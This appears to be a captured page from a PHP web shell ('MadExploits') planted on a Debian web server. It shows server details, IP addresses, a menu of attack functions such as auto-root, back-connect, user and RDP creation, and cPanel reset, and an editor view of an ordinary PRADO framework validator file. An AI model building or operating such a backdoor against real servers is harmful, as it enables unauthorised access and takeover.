Linux polon 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
Apache/2.4.59 (Debian)
: 10.2.73.233 | : 18.116.24.238
Cant Read [ /etc/named.conf ]
5.6.40-64+0~20230107.71+debian10~1.gbp673146
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
ifk /
web /
framework /
Web /
UI /
ActiveControls /
[ HOME SHELL ]
Name
Size
Permission
Action
TActiveButton.php
3.98
KB
-rw-r--r--
TActiveCheckBox.php
5.21
KB
-rw-r--r--
TActiveCheckBoxList.php
3.46
KB
-rw-r--r--
TActiveClientScript.php
2.52
KB
-rw-r--r--
TActiveControlAdapter.php
13.61
KB
-rw-r--r--
TActiveCustomValidator.php
7.29
KB
-rw-r--r--
TActiveDataGrid.php
28.01
KB
-rw-r--r--
TActiveDataList.php
3.74
KB
-rw-r--r--
TActiveDatePicker.php
6.11
KB
-rw-r--r--
TActiveDropDownList.php
4.21
KB
-rw-r--r--
TActiveFileUpload.php
15.53
KB
-rw-r--r--
TActiveHiddenField.php
3.44
KB
-rw-r--r--
TActiveHyperLink.php
3.12
KB
-rw-r--r--
TActiveImage.php
2.59
KB
-rw-r--r--
TActiveImageButton.php
5.09
KB
-rw-r--r--
TActiveLabel.php
2.55
KB
-rw-r--r--
TActiveLinkButton.php
4.7
KB
-rw-r--r--
TActiveListBox.php
4.53
KB
-rw-r--r--
TActiveListControlAdapter.php
6.53
KB
-rw-r--r--
TActiveMultiView.php
3.5
KB
-rw-r--r--
TActivePageAdapter.php
12.12
KB
-rw-r--r--
TActivePager.php
6.14
KB
-rw-r--r--
TActivePanel.php
2.74
KB
-rw-r--r--
TActiveRadioButton.php
5.18
KB
-rw-r--r--
TActiveRadioButtonList.php
3.57
KB
-rw-r--r--
TActiveRatingList.php
3.88
KB
-rw-r--r--
TActiveRepeater.php
3.67
KB
-rw-r--r--
TActiveTableCell.php
8.46
KB
-rw-r--r--
TActiveTableRow.php
9.03
KB
-rw-r--r--
TActiveTextBox.php
3.61
KB
-rw-r--r--
TAutoComplete.php
13.18
KB
-rw-r--r--
TBaseActiveControl.php
11.01
KB
-rw-r--r--
TCallback.php
3.01
KB
-rw-r--r--
TCallbackClientScript.php
21.4
KB
-rw-r--r--
TCallbackClientSide.php
8.44
KB
-rw-r--r--
TCallbackEventParameter.php
2.22
KB
-rw-r--r--
TCallbackOptions.php
1.31
KB
-rw-r--r--
TCallbackResponseAdapter.php
3.69
KB
-rw-r--r--
TDraggable.php
8.18
KB
-rw-r--r--
TDropContainer.php
9.48
KB
-rw-r--r--
TEventTriggeredCallback.php
2.43
KB
-rw-r--r--
TInPlaceTextBox.php
8.02
KB
-rw-r--r--
TTimeTriggeredCallback.php
3.49
KB
-rw-r--r--
TTriggeredCallback.php
1.68
KB
-rw-r--r--
TValueTriggeredCallback.php
3.19
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : TActiveCustomValidator.php
<?php /** * TActiveCustomValidator class file. * * @author Wei Zhuo <weizhuo[at]gamil[dot]com> * @link http://www.pradosoft.com/ * @copyright Copyright © 2005-2014 PradoSoft * @license http://www.pradosoft.com/license/ * @package System.Web.UI.ActiveControls */ Prado::using('System.Web.UI.ActiveControls.TCallbackClientSide'); /** * TActiveCustomValidator Class * * Performs custom validation using only server-side {@link onServerValidate onServerValidate} * validation event. The client-side uses callbacks to raise * the {@link onServerValidate onServerValidate} event. * * Beware that the {@link onServerValidate onServerValidate} may be * raised when the control to validate on the client side * changes value, that is, the server validation may be called many times. * * After the callback or postback, the {@link onServerValidate onServerValidate} * is raised once more. The {@link getIsCallback IsCallback} property * will be true when validation is made during a callback request. * * @author Wei Zhuo <weizhuo[at]gmail[dot]com> * @package System.Web.UI.ActiveControls * @since 3.1 */ class TActiveCustomValidator extends TCustomValidator implements ICallbackEventHandler, IActiveControl { /** * @var boolean true if validation is made during a callback request. */ private $_isCallback = false; /** * @return boolean true if validation is made during a callback request. */ public function getIsCallback() { return $this->_isCallback; } /** * Creates a new callback control, sets the adapter to * TActiveControlAdapter. If you override this class, be sure to set the * adapter appropriately by, for example, by calling this constructor. */ public function __construct() { parent::__construct(); $this->setAdapter(new TActiveControlAdapter($this)); $this->getActiveControl()->setClientSide(new TActiveCustomValidatorClientSide); } /** * @return TBaseActiveCallbackControl standard callback control options. */ public function getActiveControl() { return $this->getAdapter()->getBaseActiveControl(); } /** * @return TCallbackClientSide client side request options. */ public function getClientSide() { return $this->getAdapter()->getBaseActiveControl()->getClientSide(); } /** * Client validation function is NOT supported. */ public function setClientValidationFunction($value) { throw new TNotSupportedException('tactivecustomvalidator_clientfunction_unsupported', get_class($this)); } /** * Raises the callback event. This method is required by {@link * ICallbackEventHandler} interface. The {@link onServerValidate * OnServerValidate} event is raised first and then the * {@link onCallback OnCallback} event. * This method is mainly used by framework and control developers. * @param TCallbackEventParameter the event parameter */ public function raiseCallbackEvent($param) { $this->_isCallback = true; $result = $this->onServerValidate($param->getCallbackParameter()); $param->setResponseData($result); $this->onCallback($param); } /** * @param boolean whether the value is valid; this method will trigger a clientside update if needed */ public function setIsValid($value) { parent::setIsValid($value); if($this->getActiveControl()->canUpdateClientSide()) { $client = $this->getPage()->getCallbackClient(); $func = 'Prado.Validation.updateActiveCustomValidator'; $client->callClientFunction($func, array($this, $value)); } } /** * This method is invoked when a callback is requested. The method raises * 'OnCallback' event to fire up the event handlers. If you override this * method, be sure to call the parent implementation so that the event * handler can be invoked. * @param TCallbackEventParameter event parameter to be passed to the event handlers */ public function onCallback($param) { $this->raiseEvent('OnCallback', $this, $param); } /** * Returns an array of javascript validator options. * @return array javascript validator options. */ protected function getClientScriptOptions() { $options=TBaseValidator::getClientScriptOptions(); $options['EventTarget'] = $this->getUniqueID(); return $options; } /** * Sets the text for the error message. Updates client-side erorr message. * @param string the error message */ public function setErrorMessage($value) { parent::setErrorMessage($value); if($this->getActiveControl()->canUpdateClientSide()) { $client = $this->getPage()->getCallbackClient(); $func = 'Prado.Validation.setErrorMessage'; $client->callClientFunction($func, array($this, $value)); } } /** * It's mandatory for the EnableClientScript to be activated or the TActiveCustomValidator won't work. * @return boolean whether client-side validation is enabled. */ public function getEnableClientScript() { return true; } /** * Ensure that the ID attribute is rendered and registers the javascript code * for initializing the active control. */ protected function addAttributesToRender($writer) { parent::addAttributesToRender($writer); TBaseValidator::registerClientScriptValidator(); } /** * @return string corresponding javascript class name for this this. */ protected function getClientClassName() { return 'Prado.WebUI.TActiveCustomValidator'; } } /** * Custom Validator callback client side options class. * * @author Wei Zhuo <weizhuo[at]gmail[dot]com> * @package System.Web.UI.ActiveControls * @since 3.1 */ class TActiveCustomValidatorClientSide extends TCallbackClientSide { /** * @return string javascript code for client-side OnValidate event. */ public function getOnValidate() { return $this->getOption('OnValidate'); } /** * Client-side OnValidate validator event is raise before the validators * validation functions are called. * @param string javascript code for client-side OnValidate event. */ public function setOnValidate($javascript) { $this->setFunction('OnValidate', $javascript); } /** * Client-side OnSuccess event is raise after validation is successfull. * This will override the default client-side validator behaviour. * @param string javascript code for client-side OnSuccess event. */ public function setOnValidationSuccess($javascript) { $this->setFunction('OnValidationSuccess', $javascript); } /** * @return string javascript code for client-side OnSuccess event. */ public function getOnValidationSuccess() { return $this->getOption('OnValidationSuccess'); } /** * Client-side OnError event is raised after validation failure. * This will override the default client-side validator behaviour. * @param string javascript code for client-side OnError event. */ public function setOnValidationError($javascript) { $this->setFunction('OnValidationError', $javascript); } /** * @return string javascript code for client-side OnError event. */ public function getOnValidationError() { return $this->getOption('OnValidationError'); } /** * @param boolean true to revalidate when the control to validate changes value. */ public function setObserveChanges($value) { $this->setOption('ObserveChanges', TPropertyValue::ensureBoolean($value)); } /** * @return boolean true to observe changes. */ public function getObserveChanges() { $changes = $this->getOption('ObserveChanges'); return ($changes===null) ? true : $changes; } }
Close